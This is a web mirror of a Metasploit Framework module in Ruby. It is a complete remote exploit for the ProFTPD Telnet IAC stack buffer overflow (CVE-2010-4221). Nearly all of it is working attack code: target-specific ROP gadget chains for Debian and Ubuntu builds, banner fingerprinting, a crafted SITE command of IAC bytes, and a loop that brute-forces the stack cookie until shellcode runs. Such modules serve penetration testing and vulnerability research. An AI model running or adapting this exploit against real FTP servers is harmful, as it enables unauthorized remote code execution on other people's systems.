CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ftp/proftp_telnet_iac.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
#include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
15
'Description' => %q{
16
This module exploits a stack-based buffer overflow in versions of ProFTPD
17
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
18
large number of Telnet IAC commands, an attacker can corrupt memory and
19
execute arbitrary code.
20
21
The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
22
transfer the flow of execution to a pool buffer (the cmd_rec "res" in
23
"pr_cmd_read").
24
25
The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub
26
to it, and execute the stub. The stub then copies the remainder of the payload
27
in and executes it.
28
29
NOTE: Most Linux distributions either do not ship a vulnerable version of
30
ProFTPD, or they ship a version compiled with stack smashing protection.
31
32
Although SSP significantly reduces the probability of a single attempt
33
succeeding, it will not prevent exploitation. Since the daemon forks in a
34
default configuration, the cookie value will remain the same despite
35
some attempts failing. By making repeated requests, an attacker can eventually
36
guess the cookie value and exploit the vulnerability.
37
38
The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
39
and could allow exploitation in semi-reasonable amount of time.
40
},
41
'Author' => [ 'jduck' ],
42
'References' =>
43
[
44
['CVE', '2010-4221'],
45
['OSVDB', '68985'],
46
['BID', '44562']
47
],
48
'DefaultOptions' =>
49
{
50
'EXITFUNC' => 'process',
51
'PrependChrootBreak' => true
52
},
53
'Privileged' => true,
54
'Payload' =>
55
{
56
'Space' => 4096,
57
# NOTE: \xff are avoided here so we can control the number of them being sent.
58
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
59
'DisableNops' => 'True',
60
},
61
'Platform' => [ 'linux' ],
62
'Targets' =>
63
[
64
#
65
# Automatic targeting via fingerprinting
66
#
67
[ 'Automatic Targeting', { 'auto' => true } ],
68
69
#
70
# This special one comes first since we dont want its index changing.
71
#
72
[ 'Debug',
73
{
74
'IACCount' => 8192, # should cause crash writing off end of stack
75
'Offset' => 0,
76
'Ret' => 0x41414242,
77
'Writable' => 0x43434545
78
}
79
],
80
81
#
82
# specific targets
83
#
84
85
# NOTE: this minimal rop works most of the time, but it can fail
86
# if the proftpd pool memory is in a different order for whatever reason...
87
[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
88
{
89
'IACCount' => 4096+16,
90
'Offset' => 0x102c-4,
91
# NOTE: All addresses are from the proftpd binary
92
'Ret' => 0x805a547, # pop esi / pop ebp / ret
93
'Writable' => 0x80e81a0, # .data
94
'RopStack' =>
95
[
96
# Writable is here
97
0xcccccccc, # unused
98
0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
99
0xcccccccc, # becomes ebx
100
0xcccccccc, # becomes esi
101
0xcccccccc, # becomes ebp
102
# quadruple deref the res pointer :)
103
0x8068886, # mov eax,[eax] / ret
104
0x8068886, # mov eax,[eax] / ret
105
0x8068886, # mov eax,[eax] / ret
106
0x8068886, # mov eax,[eax] / ret
107
# skip the pool chunk header
108
0x805bd8e, # inc eax / adc cl, cl / ret
109
0x805bd8e, # inc eax / adc cl, cl / ret
110
0x805bd8e, # inc eax / adc cl, cl / ret
111
0x805bd8e, # inc eax / adc cl, cl / ret
112
0x805bd8e, # inc eax / adc cl, cl / ret
113
0x805bd8e, # inc eax / adc cl, cl / ret
114
0x805bd8e, # inc eax / adc cl, cl / ret
115
0x805bd8e, # inc eax / adc cl, cl / ret
116
0x805bd8e, # inc eax / adc cl, cl / ret
117
0x805bd8e, # inc eax / adc cl, cl / ret
118
0x805bd8e, # inc eax / adc cl, cl / ret
119
0x805bd8e, # inc eax / adc cl, cl / ret
120
0x805bd8e, # inc eax / adc cl, cl / ret
121
0x805bd8e, # inc eax / adc cl, cl / ret
122
0x805bd8e, # inc eax / adc cl, cl / ret
123
0x805bd8e, # inc eax / adc cl, cl / ret
124
# execute the data :)
125
0x0805c26c, # jmp eax
126
],
127
}
128
],
129
130
# For the version compiled with symbols :)
131
[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
132
{
133
'IACCount' => 4096+16,
134
'Offset' => 0x1028-4,
135
# NOTE: All addresses are from the proftpd binary
136
'Writable' => 0x80ec570, # .data
137
'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
138
'RopStack' =>
139
[
140
# Writable is here
141
#0x0808162a, # jmp esp (works w/esp fixup)
142
0xcccccccc, # unused becomes ebp
143
0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret
144
0xcccccccc, # unused becomes esi
145
0xcccccccc, # unused becomes ebp
146
# quadruple deref the res pointer :)
147
0x806a915, # mov eax,[eax] / pop ebp / ret
148
0xcccccccc, # unused becomes ebp
149
0x806a915, # mov eax,[eax] / pop ebp / ret
150
0xcccccccc, # unused becomes ebp
151
0x806a915, # mov eax,[eax] / pop ebp / ret
152
0xcccccccc, # unused becomes ebp
153
0x806a915, # mov eax,[eax] / pop ebp / ret
154
0xcccccccc, # unused becomes ebp
155
# skip the pool chunk header
156
0x805d6a9, # inc eax / adc cl, cl / ret
157
0x805d6a9, # inc eax / adc cl, cl / ret
158
0x805d6a9, # inc eax / adc cl, cl / ret
159
0x805d6a9, # inc eax / adc cl, cl / ret
160
0x805d6a9, # inc eax / adc cl, cl / ret
161
0x805d6a9, # inc eax / adc cl, cl / ret
162
0x805d6a9, # inc eax / adc cl, cl / ret
163
0x805d6a9, # inc eax / adc cl, cl / ret
164
0x805d6a9, # inc eax / adc cl, cl / ret
165
0x805d6a9, # inc eax / adc cl, cl / ret
166
0x805d6a9, # inc eax / adc cl, cl / ret
167
0x805d6a9, # inc eax / adc cl, cl / ret
168
0x805d6a9, # inc eax / adc cl, cl / ret
169
0x805d6a9, # inc eax / adc cl, cl / ret
170
0x805d6a9, # inc eax / adc cl, cl / ret
171
0x805d6a9, # inc eax / adc cl, cl / ret
172
# execute the data :)
173
0x08058de6, # jmp eax
174
],
175
}
176
],
177
178
[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
179
{
180
'IACCount' => 1018,
181
'Offset' => 0x420,
182
'CookieOffset' => -0x20,
183
'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
184
'Ret' => 0x805389b, # pop esi / pop ebp / ret
185
'RopStack' =>
186
[
187
0xcccccccc, # becomes ebp
188
189
0x8080f04, # pop eax / ret
190
0x80db330, # becomes eax (GOT of mmap64)
191
192
0x806a716, # mov eax, [eax] / ret
193
0x805dd5c, # jmp eax
194
0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret
195
# mmap args
196
0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
197
0, # unused
198
0xcccccccc, # unused
199
0xcccccccc, # unused
200
0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
201
0xcccccccc, # becomes ebp
202
203
# note, ebx gets fixed above :)
204
# 0xfe in 'ah' doesn't matter since we have more than enough space.
205
# now, load an instruction to store to eax
206
0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
207
# becomes edx - mov [eax+ebp*4]; ebx / ret
208
"\x89\x1c\xa8\xc3".unpack('V').first,
209
210
# store it :)
211
0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
212
0xcccccccc, # unused
213
0xcccccccc, # unused
214
0xcccccccc, # unused
215
0xcccccccc, # unused
216
0xcccccccc, # becomes ebx
217
0xcccccccc, # becomes esi
218
0xcccccccc, # becomes ebp
219
220
# Copy the following stub:
221
#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
222
#"\x8d\x78\x12" # lea edi, [eax+0x12]
223
#"\x6a\x7f" # push 0x7f
224
#"\x59" # pop ecx
225
#"\xf2\xa5" # rep movsd
226
227
0x80607b5, # pop ebx / pop ebp / ret
228
0xfb2124b4, # becomes ebx
229
1, # becomes ebp
230
0x805dd5c, # jmp eax
231
232
0x80607b5, # pop ebx / pop ebp / ret
233
0x788dffff, # becomes ebx
234
2, # becomes ebp
235
0x805dd5c, # jmp eax
236
237
0x80607b5, # pop ebx / pop ebp / ret
238
0x597f6a12, # becomes ebx
239
3, # becomes ebp
240
0x805dd5c, # jmp eax
241
242
0x80607b5, # pop ebx / pop ebp / ret
243
0x9090a5f2, # becomes ebx
244
4, # becomes ebp
245
0x805dd5c, # jmp eax
246
247
0x80607b5, # pop ebx / pop ebp / ret
248
0x8d909090, # becomes ebx
249
0, # becomes ebp
250
0x805dd5c, # jmp eax
251
252
# hopefully we dont get here
253
0xcccccccc,
254
],
255
}
256
]
257
258
],
259
'DefaultTarget' => 0,
260
'DisclosureDate' => '2010-11-01'))
261
262
register_options(
263
[
264
Opt::RPORT(21),
265
])
266
end
267
268
269
def check
270
# NOTE: We don't care if the login failed here...
271
ret = connect
272
banner = sock.get_once || ''
273
274
# We just want the banner to check against our targets..
275
vprint_status("FTP Banner: #{banner.strip}")
276
277
status = CheckCode::Safe
278
if banner =~ /ProFTPD (1\.3\.[23])/i
279
banner_array = banner.split('.')
280
281
if banner_array.count() > 0 && !banner_array[3].nil?
282
# gets 1 char on the third part of version number.
283
relnum = banner_array[2][0..0]
284
tmp = banner_array[2].split(' ')
285
# gets extra string info of version number.
286
# example: 1.2.3rc ('rc' string)
287
extra = tmp[0][1..(tmp[0].length - 1)]
288
if relnum == '2'
289
if extra.length > 0
290
if extra[0..1] == 'rc'
291
v = extra[2..extra.length].to_i
292
if v && v > 2
293
status = CheckCode::Appears
294
end
295
else
296
status = CheckCode::Appears
297
end
298
end
299
elsif relnum == '3'
300
if [ '', 'a', 'b', ].include?(extra)
301
status = CheckCode::Appears
302
end
303
end
304
end
305
end
306
307
disconnect
308
return status
309
end
310
311
312
def exploit
313
connect
314
banner = sock.get_once || ''
315
316
# Use a copy of the target
317
mytarget = target
318
319
if (target['auto'])
320
mytarget = nil
321
322
print_status("Automatically detecting the target...")
323
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
324
print_status("FTP Banner: #{banner.strip}")
325
version = m[1]
326
else
327
fail_with(Failure::NoTarget, "No matching target")
328
end
329
330
regexp = Regexp.escape(version)
331
self.targets.each do |t|
332
if (t.name =~ /#{regexp}/) then
333
mytarget = t
334
break
335
end
336
end
337
338
if (not mytarget)
339
fail_with(Failure::NoTarget, "No matching target")
340
end
341
342
print_status("Selected Target: #{mytarget.name}")
343
else
344
print_status("Trying target #{mytarget.name}...")
345
if banner
346
print_status("FTP Banner: #{banner.strip}")
347
end
348
end
349
350
#puts "attach and press any key"; bleh = $stdin.gets
351
352
buf = ''
353
buf << 'SITE '
354
355
#buf << "\xcc"
356
if mytarget['CookieOffset']
357
buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]
358
end
359
buf << payload.encoded
360
361
# The number of characters left must be odd at this point.
362
buf << rand_text(1) if (buf.length % 2) == 0
363
buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
364
365
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
366
367
addrs = [
368
mytarget['Ret'],
369
mytarget['Writable']
370
].pack('V*')
371
372
if mytarget['RopStack']
373
addrs << mytarget['RopStack'].map { |e|
374
if e == 0xcccccccc
375
rand_text(4).unpack('V').first
376
else
377
e
378
end
379
}.pack('V*')
380
end
381
382
# Make sure we didn't introduce instability
383
addr_badchars = "\x09\x0a\x0b\x0c\x20"
384
if idx = Rex::Text.badchar_index(addrs, addr_badchars)
385
fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
386
end
387
388
buf << addrs
389
buf << "\r\n"
390
391
392
#
393
# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
394
# doesn't change while proftpd forks children. Therefore, we can try forever
395
# and eventually guess it correctly.
396
#
397
# NOTE: if the cookie contains one of our bad characters, we're SOL.
398
#
399
if mytarget['CookieOffset']
400
print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")
401
402
disconnect
403
404
max = 0xffffff00
405
off = mytarget['Offset'] + mytarget['CookieOffset']
406
407
cookie = last_cookie = 0
408
#cookie = 0x17ccd600
409
410
start = Time.now
411
last = start - 10
412
413
while not session_created?
414
now = Time.now
415
if (now - last) >= 10
416
perc = (cookie * 100) / max
417
qps = ((cookie - last_cookie) >> 8) / 10.0
418
print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
419
last = now
420
last_cookie = cookie
421
end
422
423
sd = connect(false)
424
sd.get_once
425
buf[off, 4] = [cookie].pack('V')
426
sd.put(buf)
427
disconnect(sd)
428
429
cookie += 0x100
430
break if cookie > max
431
end
432
433
if not session_created?
434
fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
435
end
436
else
437
sock.put(buf)
438
disconnect
439
end
440
441
handler
442
end
443
end
444
445